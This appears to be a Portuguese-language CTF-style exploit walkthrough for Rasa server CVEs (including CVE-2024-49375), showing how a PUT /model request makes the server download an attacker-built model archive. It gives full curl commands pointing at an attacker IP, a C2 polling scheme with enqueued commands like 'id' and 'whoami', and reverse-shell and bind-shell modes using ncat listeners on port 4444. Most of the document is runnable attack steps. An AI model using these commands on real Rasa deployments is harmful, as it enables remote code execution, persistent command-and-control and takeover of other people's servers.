
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Execute diretamente
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

Resultado:

Nome do modelo padrão: evil_import_model.tar.gz
Demonstração de modelo malicioso
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Regra de diálogo malicioso definida
Digitar
greetretornaPWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

Resultado:

O model.py modifica dados específicos dentro do arquivo compactado
Execute diretamente; lê por padrão o modelo do diretório /model e salva no diretório atual como evil_import_model.tar.gz

Especifique o IP de reverse shell
Nome do modelo padrão: evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Envie os dados sequencialmente
Podem ser diferentes em cenários reais
Máquina atacante(Rasa) Contêiner alvo(target)
│ │
├─ Iniciar server-2.py ─────┤
├─ PUT /model ──→ Baixar pwnmod.py para /app/
├─ PUT /model ──→ Baixar modelo malicioso → import pwnmod → agent inicia
│ │
│ ← GET /poll?agent=xxx ───┤ Polling a cada 3s
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ Obter comando
│ ← POST /result ──────────┤ Enviar resultado
├─ /last?agent=xxx ──→ Ler resultado
# Iniciar na máquina atacante
python server-2.py --mode c2 --c2-base-url http://<IP_atacante>:8000 --port 8000
# Disparar exploit (dois passos)
curl -X PUT http://<endereço_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_atacante>:8000/write-module"}}'
curl -X PUT http://<endereço_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_atacante>:8000/model"}}'
# Enviar comando
curl "http://<IP_atacante>:8000/enqueue?cmd=id"
# Aguardar 8 segundos e ler o resultado (agent faz polling a cada 3s + tempo de execução)
curl "http://<IP_atacante>:8000/last?agent=<hostname>"
# Sem especificar agent (usa curinga)
curl "http://<IP_atacante>:8000/enqueue?cmd=whoami"
curl "http://<IP_atacante>:8000/last"
# 1) Máquina atacante inicia listener
ncat -lvnp 4444
# 2) Máquina atacante inicia server-2.py
python server-2.py --mode reverse --reverse-host <IP_atacante> --reverse-port 4444 --port 8000
# 3) Disparar exploit
curl -X PUT http://<endereço_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_atacante>:8000/write-module"}}'
curl -X PUT http://<endereço_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_atacante>:8000/model"}}'
# 4) nc recebe o prompt $, interação direta
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent escuta em 0.0.0.0:4444 dentro do contêiner
# ncat <IP_alvo> 4444 para conectar
| Parâmetro | Significado |
|---|
--port 8000 | Porta de escuta do próprio server-2.py |
--c2-base-url | URL base completa que o agent usará para polling no modo C2 (deve ser acessível pelo contêiner) |
--reverse-host | IP alvo do reverse shell |
--reverse-port | Porta alvo do reverse shell |